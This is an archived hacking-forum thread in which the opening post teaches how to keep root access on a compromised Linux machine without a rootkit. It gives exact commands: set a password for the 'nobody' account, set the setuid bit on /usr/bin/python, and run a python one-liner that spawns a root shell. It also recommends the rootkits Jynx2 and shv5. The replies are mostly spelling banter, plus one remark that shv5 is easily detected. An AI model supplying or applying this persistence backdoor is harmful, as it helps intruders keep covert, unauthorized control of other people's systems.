+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Maintaining access once you've gotten root. (/Thread-Maintaining-access-once-you-ve-gotten-root)
Maintaining access once you've gotten root. - r00tmaster - 03-04-2013
Jynx2 and shv5 are quite good rootkits. Jynx2 is way better though.
So, there was a thread like 5 minutes ago talking bullshit.
Now, how to maintain root access once you've got in and managed to escalate privs with your local 0day exploiting some vulnerable suids, without a rootkit?
Easy, ever heard of Setuids, or suids? You will make that program run as root to a normal user (non-root).
So, the best way would be changing the password of a non-root user such as nobody, so just type:
passwd nobody, and set the password.
Then:
chmod u+s /usr/bin/python
This will set a suid bit on python.
When you log in to the box as nobody (non-root user), you should type:
python -c "z=__import__('os'); z.setuid(0); z.system('sh')"
uid=(0) around here, eh?
RE: Maintaining access once you've gotten root access - Bannedshee - 03-04-2013
Please fix up the grammar and spelling. Seems like a decent tutorial though. Thanks.
RE: Maintaining access once you've gotten root access - r00tmaster - 03-04-2013
(03-04-2013, 11:14 PM)Cyber Caliph Wrote: Please fix up the grammar and spelling. Seems like a decent tutorial though. Thanks.
Sure, made a few mistakes because i was writting to fast. I hope i have fixed them all.
RE: Maintaining access once you've gotten root access - Bannedshee - 03-04-2013
"escalate privs with your cero dia loca" Fix that and it should be good.
RE: Maintaining access once you've gotten root access - r00tmaster - 03-04-2013
(03-04-2013, 11:21 PM)Cyber Caliph Wrote: "escalate privs with your cero dia loca" Fix that and it should be good.
That is Spanish. Who doesn't understand Spanish?
RE: Maintaining access once you've gotten root access - Bannedshee - 03-04-2013
(03-04-2013, 11:24 PM)r00tmaster Wrote:(03-04-2013, 11:21 PM)Cyber Caliph Wrote: "escalate privs with your cero dia loca" Fix that and it should be good.
That is Spanish. Who doesn't understand Spanish?
Me :\
RE: Maintaining access once you've gotten root access - Balls - 03-04-2013
(03-04-2013, 11:24 PM)r00tmaster Wrote:(03-04-2013, 11:21 PM)Cyber Caliph Wrote: "escalate privs with your cero dia loca" Fix that and it should be good.
That is Spanish. Who doesn't understand Spanish?
I live in Canada. Here we learn French, not Spanish.
RE: Maintaining access once you've gotten root. - Sabu - 03-31-2013
Oh god shv5 is far from a good rootkit. Why would you recommend that?
Shv5 is easily found with pretty much any rootkit hunter out there.